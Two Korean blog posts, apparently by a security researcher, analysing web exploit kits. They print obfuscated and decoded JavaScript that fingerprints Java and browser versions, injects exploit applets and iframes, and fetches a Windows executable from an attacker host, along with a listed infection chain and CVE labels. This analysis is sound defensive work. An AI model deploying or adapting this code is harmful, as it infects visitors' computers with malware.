C68624C5E6F3E5F647B5544716171567C6379102F68491E3D3D472F7B444463705E4964685A592808143904425C567648531265484F016E454D6B7C4075630A1B677904112B391E792F3B150E1B725D64607753656D305860795B10725156657941696C72454A2078425C6842551F2B2A3F4719215C526B4A1D697A1369634F59676940433B3119083B201A21293210627C765068736406302A170C212F0D4D1F5825086F465E267E5345795B1714330544517C4D584B38435A3673565E7671472F73515C774B4158677A0435625E417474647166667F1E22221330667B0216705953736D1D046D754D4B70504B1A2B4E425F7507031D3D0B071E351E140D16484C0E4458607D495E697806487979586427360C4A5152714A433C5B617A534F787B1967764F5B6B7D1D144759127332151F193E11077D3F180678270079735F0812322E0D3133640D3C3362043A290A3664765A6B2C310037253D16637C775D67691F192111162729195A6569484328714C5F691E495F7148585B7B474F1E6E4E5175790E6123484377781E14287B5F48257240606C7F4460727A1A6A787117667452136670536E705B4D25271B5C676F4A5D2A4F4E596B185156325F5650634806603D46507B7140786F58516C724F5C66634B2E6164093D2D6653757477166578735F326E4B1E65404A7572180A237846406F734C5B75465343614E1204285B584C79421D6E7D5E24394244237E45577269151F2C271839282A0C75726A5564377259607E1D7F5E5B6160634244777C1A0C217E5D5538111E06765D4B403C6E5852725B4D6E795D5E716D123F3A5258776B4B1D676F472430735C60797F4462356C57676C7B072F3A68564264142E7D554D23251501475D67774F770F14391C38306926335B745C580D16484C0E47586D6C455F296D5A5C63795A6432367A6D425D06277D6C5F2F202D3676704A24744706617643493B3F48466F131F053C5D4B406A07705378494D36345253636D46233D2F3362654859686A043268666F7765645B65606E53233B66536E724F5F7C4D50223B0742706F591427305A457B0D535A71445E4E714A5B107B40502F775C332B575874264143622E0104061A4B6E617051613D6B517D56684C7F724249657A0C62774D0A2E3B50437F725E49635B475D764C52577F485850600F127B173B586D705160620C4A607E67497D7C432378664B2B33655B25393855647779566E745B5B71545769350C1109114E41667B4C5622505442515341487D494C4A7D071F626F116D2617033B2A0D000A064C506865416461601E677C7C4D27766C486875447F797648243D44476C7D46482F26263A772C2549032F5654614C1755700D1327755F5B637A4D3D3B130E353A111D2F280A26627C4A62756E0C3A242D063B29373705662F3465405420745D5F7761110E353F5A5B62475E413E49544C7D4C584A775D13756F56334547526D7C0A4F684047486E626F607C71182C28153E60713C106E63554F6B270A297B474D7A564104217058596F01191327050D183F181E311C56364A7E5E5C7773506F720C4E77635258212C160E4F586B404536516B746945627D231D6C715157771B1E41531C693C2F1903382B197721120072210A77095112140E28170D355A07783D640E302F044C6E685C5736371E313F33106D7671536163211F3F2B101B2F23542167424522774641632053596B4E42556149451864485B4973101B6772454B72241A2E71554E2B684A5C6A655E246C7000607E7B1D6C7A68197C7669146A6547192D1D5661654447247548436D224F5C2C55505A6542081A335C5647775A4469665B287C49566C6545546B7A0F0137604D736E79106B727551346475187B7A4C4974220467764C46657546457F7849457B48080A3255524A7344175277405E7D78421F747F5974631F19223D12052E3016316C604F6E3178536A702775445D5B1A797C4E4B761C0627704A446029191F3A2A1D053A0D76597E43444B3A48555F6B5C1A3E20432076415A236645566231494D687845776A3446647F6D5134373B777852715A564F136E7F534F25271B03495F617549751116271E3E326F243D597A5E5E4D104A3208795A6F62435D2B6B545E61675C243030617658475440452D1861697918341028597C4F4261730B496B7F4C132A78425C681101072212050D22057E51764B4C7132502D655344213329316063465B6A7402726A607171676A5D6B62685D25395855707049217A4F5E2035054472695B0A250E5843790B5154734A5C48734C596E795E522D755A73295556722443456C2C037A0018496C7F7253633B69537F586A4E7D74404B67440E22754B0828395E417170584B6559595F684E5455794A56526E0D143B1139266B4E53626C0A486278694B7F6245637A60552D316B5D2B3B3E5B6275475070765D257756596B3B0E170B174C5F64454E502056564C535D434E7F4F4E347F191D606D172D24150D3D280F0604044E2E6E6743667F621C657A7E4F25786E4A6A73467D7B484A643F42456A7F484A21242038712E3B4B1D2D48371E4E554D7D0F46091139482B0A3A09014D5D2F7C504B5364583054335D647977462E4A21053C2A001A373F5438617B5C76287C0B6B74455F780672083316131E3409474462754F342B6A18707B43265B1E04363A161D2F280A3175667677652769207275586F787A1D52211F1E211616296C28200D7F464D7D72485C780D4644795350567A031B0271425A206F412239474F656C7108297F5F59352C702E6679573B31310F041D154B686F74557C7A4B35610B0A667644596B78454424565D5D7A405F563A751500734059257E11486B7A41693B1309352A4E586069423530220E7063750F606D7C525E2A3049787B1C024F7D09657A474F6025750C21240F1E3E130106391C38301D563434114A517379484C0E291D2C052E32716D5A1F68685972752C1038336F5D6773734F2375414A787845347A5106776A425E477A4E5E7E0F5B5B424A445D606A564F7305127B173B366B7815292E414170795C0527674425686A616539315F747C7F163D3E371A313D0F0F3A5D5A28745D5F7761110061714957746C571E374A4653710B0E19310F03203102682D004C0E022D5F686F5D526E7E582F7866597176745A213520516B694151743F5732761E42744D63655F581C1E6255425830196F177B4F455D7B480562330A320817480C0C2B5C6979431D606802696E6A5B706B2E1C6E7B7E53735678122870515776011E273E05142436180728390B12244D50407940544E7B59174B6B4A4F417B562F700E5E6D6C4143486A00185C794265606343255D4C143C392D1F243B1E1C3C2E0D603305082A77465A6F7A4A44655301567C4A444B775B7B5D784A4E217D54116B7051647E6D5F2D2D4D522E270A7F2D3F1F2A386D3F0D1C7E59686C735F61690C49614852657B4B02262740487A7E40572C5043552D6074725A590910705B506C220F1D2B49517169495E392E0104061A257C021E392A3C6539036A113236162A587473413470037A5574617F456C1F0B072B4B516240475D32466F5D41680F7B173B5B6772507563027D464342517B3F114C07764B6F7462572752767B445129010217465B7F44526537617A6B63537E3B24203868465D536442154D7E41580823223764795F24704517405F5E6F323725356F7540647B7110747C6E5D41252735077F4550746B4160586579766961543E26263A6E4443517A4013755B7F600B2D2031247F5D5A767B154D757468604B150604044E2461775A66317043487275717C2F25370579475276554320465C41552B1223027B485E69575416647F5F6346620E051525596570563561006F77784F7F413A13320174496D6A60552578557B425F70523C202D36757A482561460863764E6B44791D0B072B4B516240475D324D765B7F4E74312F0A32087A506D63565C25426B535A5D4F033C29230975735E62617F165D53567F4C2A19331945436C72514F244A635E7C5D6C0A372E3B52754B504E710B7455545D5A4479007A092A536664414F622C7B5E4F43436241260B08197C516572685D2D4D474E7D4E5618231825087D424063694E105C6643754F4101031F2353597A484F253A776B577C63783319340F6E43516C7A4F614B4677677A7256372E173C6F7C725F7B7802766640576D7A141109114D4B647A59572C756643424063082F26335A7D435874791306695847303329316369445A7F750C42757C576944200F041D785D617E54593148540A796F5130222A26627847557E440F5D6D6A5C72466404071B275F2576544B673E7D6A54630D3E072C596C624F3568327E50775E555226213B017D7B566A69471E4272556863171109114D4B647A59572C6C55666A53010119215D5B744A49653C432F6A747042381F360D684D536E64492168417A6E78557B3D2C1132697E4C59657A043842446E4B211C210C695949716240586240504C5548455E774A5E68330A42617F41626E0A5C2C715B3003";
RWmFSCq4="function oXaWE4(){DCIdlr1=Math.PI;VgrlQrX6=Math.tan;GlMOH7=parseInt;DPoxzP3='length';MkLrgDe3='test';HMnSSeB1='replace';wjja6=GlMOH7(~((DCIdlr1&DCIdlr1)|(~DCIdlr1&DCIdlr1)&(DCIdlr1&~DCIdlr1)|(~DCIdlr1&~DCIdlr1)));CWzT5=GlMOH7(((wjja6&wjja6)|(~wjja6&wjja6)&(wjja6&~wjja6)|(~wjja6&~wjja6))&1);/*Encrypt By www.blackteab.com's JSXX 0.44 VIP*/qoviH2=CWzT5<<CWzT5;new function(){tXjYRI7=XtpkDF6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[HMnSSeB1](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[MkLrgDe3](MFQtpFx8));}catch(e){MFQtpFx8=wjja6;}MIVW7='';LsVQeA3=String[aoiGBd6('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(fqOgoGw6=wjja6;fqOgoGw6<RWmFSCq4[DPoxzP3];fqOgoGw6-=-CWzT5)MFQtpFx8=((MFQtpFx8&127)<<25)|((MFQtpFx8&4294967168)>>>7)+RWmFSCq4.charCodeAt(fqOgoGw6);SaDSocN2+=CWzT5;MFQtpFx8>>>=0;for(fqOgoGw6=wjja6,dAgicOq5=CWzT5;fqOgoGw6<QykQ0[DPoxzP3];fqOgoGw6+=qoviH2,dAgicOq5++){if(fqOgoGw6>=(1<<3)){FTUbVy5=fqOgoGw6%(1<<3);}else {FTUbVy5=fqOgoGw6;}VGlAAd2=GlMOH7('0x'+MFQtpFx8.toString(CWzT5<<4).substr(FTUbVy5,2))+dAgicOq5;if(\/^(\\d{4})\/g[MkLrgDe3](VGlAAd2+744))VGlAAd2%=66;MIVW7+=LsVQeA3(GlMOH7(wjja6+aoiGBd6('x')+QykQ0.charAt(fqOgoGw6)+QykQ0.charAt(fqOgoGw6+GlMOH7(CWzT5)))^VGlAAd2);}try{new function(){tXjYRI7(MIVW7);}}catch(e){try{new function(){VJHEC7=parseInt;VgrlQrX6(MIVW7);}}catch(e) {window.location='.';}}}try{XtpkDF6('oXaWE4();')}catch(e) {try{SaDSocN2=wjja6;XtpkDF6('oXaWE4();');}catch(e){alert('ere');}}";

eval("function oXaWE4(){DCIdlr1=Math.PI;VgrlQrX6=Math.tan;GlMOH7=parseInt;DPoxzP3='length';MkLrgDe3='test';HMnSSeB1='replace';wjja6=GlMOH7(~((DCIdlr1&DCIdlr1)|(~DCIdlr1&DCIdlr1)&(DCIdlr1&~DCIdlr1)|(~DCIdlr1&~DCIdlr1)));CWzT5=GlMOH7(((wjja6&wjja6)|(~wjja6&wjja6)&(wjja6&~wjja6)|(~wjja6&~wjja6))&1);/*Encrypt By www.blackteab.com's JSXX 0.44 VIP*/qoviH2=CWzT5<<CWzT5;new function(){tXjYRI7=XtpkDF6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[HMnSSeB1](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[MkLrgDe3](MFQtpFx8));}catch(e){MFQtpFx8=wjja6;}MIVW7='';LsVQeA3=String[aoiGBd6('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(fqOgoGw6=wjja6;fqOgoGw6<RWmFSCq4[DPoxzP3];fqOgoGw6-=-CWzT5)MFQtpFx8=((MFQtpFx8&127)<<25)|((MFQtpFx8&4294967168)>>>7)+RWmFSCq4.charCodeAt(fqOgoGw6);SaDSocN2+=CWzT5;MFQtpFx8>>>=0;for(fqOgoGw6=wjja6,dAgicOq5=CWzT5;fqOgoGw6<QykQ0[DPoxzP3];fqOgoGw6+=qoviH2,dAgicOq5++){if(fqOgoGw6>=(1<<3)){FTUbVy5=fqOgoGw6%(1<<3);}else {FTUbVy5=fqOgoGw6;}VGlAAd2=GlMOH7('0x'+MFQtpFx8.toString(CWzT5<<4).substr(FTUbVy5,2))+dAgicOq5;if(\/^(\\d{4})\/g[MkLrgDe3](VGlAAd2+744))VGlAAd2%=66;MIVW7+=LsVQeA3(GlMOH7(wjja6+aoiGBd6('x')+QykQ0.charAt(fqOgoGw6)+QykQ0.charAt(fqOgoGw6+GlMOH7(CWzT5)))^VGlAAd2);}TEST.TEST.value = MIVW7;try{new function(){tXjYRI7(MIVW7);}}catch(e){try{new function(){VJHEC7=parseInt;VgrlQrX6(MIVW7);}}catch(e) {window.location='.';}}}try{XtpkDF6('oXaWE4();')}catch(e) {try{SaDSocN2=wjja6;XtpkDF6('oXaWE4();');}catch(e){alert('ere');}}");

kMOKHlj1 = XtpkDF6(XtpkDF6);
kMOKHlj1(RWmFSCq4);

</script>

이하 디코딩 결과 입니다. 위 코드를 이용해 디코딩 하면 텍스트박스에 디코딩된 결과가 나옴을 알 수 있습니다. 대부분 자바 취약점이네요. 자바를 안깔수도 없고............

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139


VgrlQrX6=tXjYRI7;QJptBA8=VJHEC7(20100418);while(window.closed){}document.write("<br>");
var gondady=document.createElement('body');
document.body.appendChild(gondady);
var gondadx=deployJava.getJREs()+"";
var arrx=gondadx.split(",");
gondadx=parseInt(arrx[0].replace(/\.|\_/g,''));
for(i=1;i<arrx.length;i++)
{
tmp=parseInt(arrx[i].replace(/\.|\_/g,''));
if (gondadx<tmp) gondadx=tmp;
}
if ((gondadx<=17007 && gondadx>=17000) || (gondadx<=16032 && gondadx>=16000) || (gondadx<=15033 && gondadx>=15000))
{
var gondad = document.createElement('applet');
gondad.width="1";
gondad.height="1";
if((gondadx<=16027 && gondadx>=16000) || (gondadx>=15000 && gondadx<=15031))
{
gondad.archive="GAHNr0.jpg";
gondad.code="GondadGondadExp.class";
gondad.setAttribute("dota","http://www.blackteab.com/kor/wow.exe");
document.body.appendChild(gondad);
}
else if ((gondadx<=17002 && gondadx>=17000) || (gondadx<=16030 && gondadx>=16000) || (gondadx<=15033 && gondadx>=15000))
{
gondad.archive="SbtfYCq2.jpg";
gondad.code="GondadExx.Ohno.class";
gondad.setAttribute("xiaomaolv","http://www.blackteab.com/kor/wow.exe");
gondad.setAttribute("bn","woyouyizhixiaomaolv");
gondad.setAttribute("si","conglaiyebuqi");
gondad.setAttribute("bs","748");
document.body.appendChild(gondad);
}
else if ((gondadx<=17003 && gondadx>=17000) || (gondadx<=16032 && gondadx>=16000) || (gondadx<=15032 && gondadx>=15000))
{
gondad.archive="gcPVwdT7.jpg";
gondad.code="gond1723.Gondattack.class";
gondad.setAttribute("xiaomaolv","http://www.blackteab.com/kor/wow.exe");
gondad.setAttribute("bn","woyouyizhixiaomaolv");
gondad.setAttribute("si","conglaiyebuqi");
gondad.setAttribute("bs","748");
document.body.appendChild(gondad);
}
else if (gondadx<=17006 && gondadx>=17000)
{
var cxusz8 = window.navigator.userAgent.toLowerCase();
if (cxusz8.indexOf('msie 6') > -1)
{
document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://www.blackteab.com/kor/wow.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'cve2012xxxx.Gondvv.class'><param name=archive value= 'JhQE2.jpg'></OBJECT>");
}
else
{
gondad.archive="JhQE2.jpg";
gondad.code="cve2012xxxx.Gondvv.class";
gondad.setAttribute("xiaomaolv","http://www.blackteab.com/kor/wow.exe");
gondad.setAttribute("bn","woyouyizhixiaomaolv");
gondad.setAttribute("si","conglaiyebuqi");
gondad.setAttribute("bs","748");
document.body.appendChild(gondad);
}
}
else if (gondadx<=17007 && gondadx>=17000)
{
var cxusz8 = window.navigator.userAgent.toLowerCase();
if (cxusz8.indexOf('msie 6') > -1)
{
document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://www.blackteab.com/kor/wow.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'gond20125076.Gondqq.class'><param name=archive value= 'OuIQfGP7.jpg'></OBJECT>");
}
else
{
gondad.archive="OuIQfGP7.jpg";
gondad.code="gond20125076.Gondqq.class";
gondad.setAttribute("xiaomaolv","http://www.blackteab.com/kor/wow.exe");
gondad.setAttribute("bn","woyouyizhixiaomaolv");
gondad.setAttribute("si","conglaiyebuqi");
gondad.setAttribute("bs","748");
document.body.appendChild(gondad);
}
}
}
else { 
 /*
 if(pxtXtt1['major']==11 && pxtXtt1['minor']<=3 && pxtXtt1['rev']<=300 && pxtXtt1['gondad']<= 270){
 document.writeln("<img src=gxfdU3.swf><\/img>");
 setTimeout("document.writeln(\"<embed width=100 height=0 src=gxfdU3.swf><\\/embed>\");",2000);
 }
 else{
 */
 var cxusz8 = window.navigator.userAgent.toLowerCase();
 if ((cxusz8.indexOf('msie 6') > -1)||(cxusz8.indexOf('msie 7') > -1)) {
 document.writeln("<iframe src=jvTDIYE7.html><\/iframe>");
 }
 else if((cxusz8.indexOf('msie 8') > -1) && (navigator.userAgent.indexOf('Windows NT 5.1') > -1) && (navigator.browserLanguage.indexOf('ko') > -1)){
 document.writeln("<iframe src=GAHNr0.html><\/iframe>");
 }
 //}
}
;
delete RWmFSCq4;
delete oXaWE4;
delete DCIdlr1;
delete GlMOH7;
delete DPoxzP3;
delete wjja6;
delete CWzT5;
delete qoviH2;
delete MFQtpFx8;
delete MIVW7;
delete LsVQeA3;
delete fqOgoGw6;
delete QykQ0;
delete tXjYRI7;
delete XtpkDF6;
delete kMOKHlj1;
delete aoiGBd6;
delete dAgicOq5;
delete HMnSSeB1;
delete VJHEC7;
delete QJptBA8;
delete MkLrgDe3;
delete SaDSocN2;
delete VgrlQrX6;
delete VGlAAd2;
delete FTUbVy5;
delete FTYdkdd0;
delete Huaqmm1;
delete VWuRgV2;
delete Gmxp3;
delete CzhglW8;
delete WpJlLy2;
delete icOoJTM3;
delete HkRA4;
delete PSfHgU3;
delete QSsht2;
delete OdPzt4;
delete pnnTGA0;
delete gUJkkMO4;
delete xWgFI8;
try{CollectGarbage();}catch(e){}

최종 다운로드 되는 파일은 아래 파일 입니다. https://www.virustotal.com/file/d437a2f101842779f336a6943238d645618ac46c75a33dacd823f1891a76d8fb/analysis/1356215227/

Yszz 1.5 vip 관련 코드 확인

Sun, 07 Oct 2012 15:57:10 +0000

오랜만에 보여서 한번 살펴봤는데 예전과 많이 달라져서 기록해 둔다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


http://festival.cocobau.com/adm_site/e_show/e_th_ad.js
L http://205.164.25.148/pic/img.js
 L http://205.164.25.148/pic/img.html
 L http://205.164.25.148/pic/XLL0zxmA.jpg (CVE?)
 L http://205.164.25.148/pic/rKQeVOG.jpg (CVE-2011-3544)
 L http://205.164.25.148/pic/9O4v7e.html (CVE-2011-1255)
 L http://205.164.25.148/pic/yNDGhP.js
 L http://205.164.25.148/pic/bmrYt.html (CVE-2012-1889)
 L http://205.164.25.148/pic/swfobject.js
 L http://205.164.25.148/pic/jpg.js
 L http://205.164.25.148/pic/css.html

img.html 파일을 디코딩 해보도록 하자. "Yszz 1.5 vip" 라는 주석이 들어가는게 특징으로 보인다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


<script type="text/javascript" src="swfobject.js"></script>
<script src=jpg.js></script>
<script language =javascript>
var K4Er = "%";
var MDIxo=K4Er+"78"+K4Er+"6F";
var OIai8=K4Er+"78"+K4Er+"6F"+K4Er+"31";
var HHYWv=K4Er+"31"+"%59"+"%53";
var CvXWz=K4Er+"7A"+"%7A"+"%31";
var JZyjl="%31"+"%6F"+"%78";
var ERb7H="%6F"+"%78";
var XGpwn2 =MDIxo+OIai8+HHYWv+CvXWz+JZyjl+ERb7H,AVgHbu2f=unescape,Cn6T4bG0znIi="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",HUx2Ydz="%64"+"%6f"+"%63"+"%75"+"%6d"+"%65"+"%6e"+"%74",sac5pxhFS="%77"+"%72"+"%69"+"%74"+"%65",ubo8KLEZHIPX2;
var kxin1s = "%53"+"%74"+"%72";
var B83pNx = kxin1s+"%69"+"%6e"+"%67";
var kxin2s = "%66"+"%72"+"%6f";
var kxin3s = "%6d"+"%43"+"%68";
var kxin4s = "%61"+"%72"+"%43";
var kxin5s = "%6f"+"%64"+"%65";
var WjuQFO = kxin2s+kxin3s+kxin4s+kxin5s;
var fxTmFiR = AVgHbu2f(B83pNx);
var xZW9RVt = AVgHbu2f(WjuQFO);
var sATWUn = "%41"+"%72"+"%72"+"%61"+"%79";
var x83QqGV = AVgHbu2f(sATWUn);
var SnDN8 = "%73"+"%74"+"%72";
var Z0b9A = "%63"+"%68"+"%61"+"%72"+"%43"+"%6f"+"%64"+"%65"+"%41"+"%74";
var fkPj5 = AVgHbu2f(SnDN8);
var hyYQ8 = AVgHbu2f(Z0b9A);
function tzWmUni(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=fkPj5[hyYQ8](i++);switch(c>>4)
{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=fkPj5[hyYQ8](i++);out[out.length]=window[fxTmFiR][xZW9RVt](((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=fkPj5[hyYQ8](i++);char3=fkPj5[hyYQ8](i++);out[out.length]=window[fxTmFiR][xZW9RVt](((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}
return out.join('');}
var ZjykejU6Chars=new window[x83QqGV](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
HUx2Ydz=AVgHbu2f(HUx2Ydz);
